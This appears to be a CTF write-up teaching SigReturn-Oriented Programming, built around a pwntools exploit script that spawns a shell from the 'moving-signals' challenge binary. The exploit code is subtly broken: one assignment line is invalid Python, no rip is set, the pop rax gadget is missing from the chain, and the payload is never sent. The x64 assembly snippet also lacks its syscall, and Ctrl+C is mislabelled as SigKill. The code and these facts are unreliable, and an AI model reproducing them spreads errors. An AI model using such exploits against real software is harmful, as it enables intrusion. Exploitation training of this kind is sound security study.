SigReturn-Oriented Programming (SROP) Technique — Binary Exploitation

SigReturn-Oriented Programming (SROP) Technique — Binary Exploitation


6 min read

Return-Oriented Programming (ROP) stands as a prominent technique employed in the realm of exploitation, effectively circumventing security mechanisms such as NX/DEP. By delving into the intricacies of the ROP technique, an array of innovative "return-oriented" chains have emerged, showcasing the remarkable advancements in this field. Notable examples of these chains include:

  • ret2libc: Jumping directly to a libc address.

  • ret2plt: Jumping to the Procedure Linkage Table (PLT) entry for a function used in the binary and using it to leak Global Offset Table (GOT) pointers; to predict libc version.

  • ret2csu: Use the gadgets available in __lib_csu_init to control rdx, rsi, rdi, use it to call execve syscall.

  • SROP (variant 1): Use the “sigreturn” syscall and crafted Sigreturn Frame to get control of all registers. (assuming we have leaks for /bin/sh pointer and have gadgets to control rax).

  • SROP (variant 2): Sigreturn without any straightforward gadgets to control rax. Chaining SROP frames.

In this article, we will discuss the concept of SROP and demonstrate its application through a challenge from the 0x41414141 2021 CTF competition. You can download the challenge here. Now, let's start by explaining what an SROP is.

So… What Is SROP? And Why We Need It?

Imagine this: your program ran into an infinite loop, the fastest way to kill it is by pressing CTRL+C to kill the program. This keyboard interrupt behavior will send a signal to the program (SigKill), and when this happens the kernel pauses the execution to jump to a signal handler routine. So that execution may be resumed safely after the handler completes, the context (i.e. registers) of that process is pushed onto the stack. When the handler is finished, a sigreturn() is called which will restore the context of the process by popping the values from the stack. You can check the list of standard signals on Linux here.

This is a simple diagram showing how roughly the signal handling works:

Now, you may wonder why such a mechanism is necessary. The answer is: where we occasionally encounter a problem that lack suitable ROP gadgets to accomplish our desired tasks, such as attaining shell access, reading files, or executing code. In such circumstances, we can explore the option of triggering a SigReturn event, thereby allowing us to inject the necessary gadgets into the process.

To achieve this, we rely on a set of gadgets capable of triggering the desired signal. Specifically, we aim to execute a system call while ensuring that the rax register holds the appropriate syscall number for rt_sigreturn. Looking at website, we can see that the rt_sigreturn number on the list, and how to call it:

SigRet syscall for x64 processes:

SigRet syscall for x64 processes.

SigRet syscall for x86 processes:

SigRet syscall for x86 processes.

So to invoke a SigReturn syscall in Assembly:

# In x64 programs
mov rax, 0x0f;

# In x86 programs 
mov eax, 0x77; 
int 0x80; 

Attack Strategy

The attack operates by manipulating the call stack through the introduction of a counterfeit sigcontext structure. Subsequently, the attacker proceeds to overwrite the return address with the precise location of a gadget that grants them the ability to invoke the sigreturn() function. The sigcontext structure length is 248 Bytes, we'll ignore the first 8 Bytes of rt_sigreturn().

How the signal frame would look under Linux x86_64:

But there are multiple conditions to be met to exploit SROP:

  • The stack pointer should be located on attacker-controlled data and NULL bytes must be allowed.

  • The attacker should have some control over RAX. Specifically, RAX should contain the value 0x0F.

  • The attacker should have control over the instruction pointer RIP (for example due to a RET instruction on the overwritten stack).

  • You need enough space to fit the entire signal frame into the stack.

Knowing the Target

Checking the mitigations on the binary with checksec. We notice that the binary has no protections at all, which will make the exploitation process easier.

Throwing the program into Ghidra to see only a few lines of code:

Note: If you got "??" instead of Assembly instructions, left-click on the instructions and press "d" to decompile them.

Luckily, the gadgets we need are only a pop rax, syscall and the offset of /bin/sh in memory. We can get these gadgets with the ropper tool & pwndbg (or gef).

└─# ropper -f moving-signals --search "pop rax"
0x0000000000041018: pop rax; ret; 

└─# ropper -f moving-signals --search "syscall"
0x0000000000041015: syscall; ret; 

pwndbg> file ./moving-signals 
Reading symbols from ./moving-signals...

pwndbg> r                         
Starting program: /home/talson/Desktop/signals/moving-signals

pwndbg> search "/bin/sh"
moving-signals  0x41250 0x68732f6e69622f /* '/bin/sh' */

After getting all the gadgets we need, we can now start building our exploit.

Exploitation — Forging the Context

We can construct a forged sigreturn frame that incorporates a system call to execute "/bin/sh". We can utilize the capabilities of pwntools to create a fabricated signal frame effortlessly. All we need to do is specify the desired values for each register within the frame.

We will first import the pwn library, define the binary, and create a ROP instance from the ELF file.

Then define the variables: the offset to overwrite the RIP, the address of pop rax, and the address of the syscall instruction.

Now, the meat and potatoes of this whole article: the Sigreturn Frame. We'll create a fake signal frame, and populate the registers with our desired values. Most notably: the syscall code for execve, the address of /bin/sh to pass it as an argument and get shell access, and the address of the syscall instruction to execute this whole function.

Not to mention the last step, building the ROP gadgets the good old way!

The complete exploit:

from pwn import *

p = process("./moving-signals")
elf = context.binary = ELF("moving-signals", checksec=True)
rop = ROP(elf)

offset = 8 
pop_rax = (rop.find_gadget(['pop rax', 'ret']))[0]
syscall_ret = (rop.find_gadget(['syscall', 'ret'])[0])

# creating a SigreturnFrame
frame = SigreturnFrame()
frame.rax = 0x3B            # syscall code for execve
frame.rdi = 0x41250         # address of /bin/sh -> from pwndbg
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xbaadf00d = syscall_ret     # When the signal context is returned to registers
                            # We want to trigger the execve syscall with /bin/sh as an argument

rop.raw(b"A" * offset)
rop.raw(p64(0xf))           # pop Sigreturn code into rax
rop.raw(p64(syscall_ret))   # Trigger the sigreturn
rop.raw(bytes(frame))       # enter fake signal frame onto the stack

Running the exploit:

And tada! We got a shell.


In conclusion, Return-Oriented Programming has emerged as a powerful technique in the field of exploitation, effectively bypassing security measures like NX/DEP. The development of innovative "return-oriented" chains, such as SROP variants, has demonstrated significant advancements when not enough gadgets are available. This article provided insights into the concept of SROP and demonstrated its practical implementation, showcasing the significance of understanding and utilizing powerful exploitation techniques in the modern security era.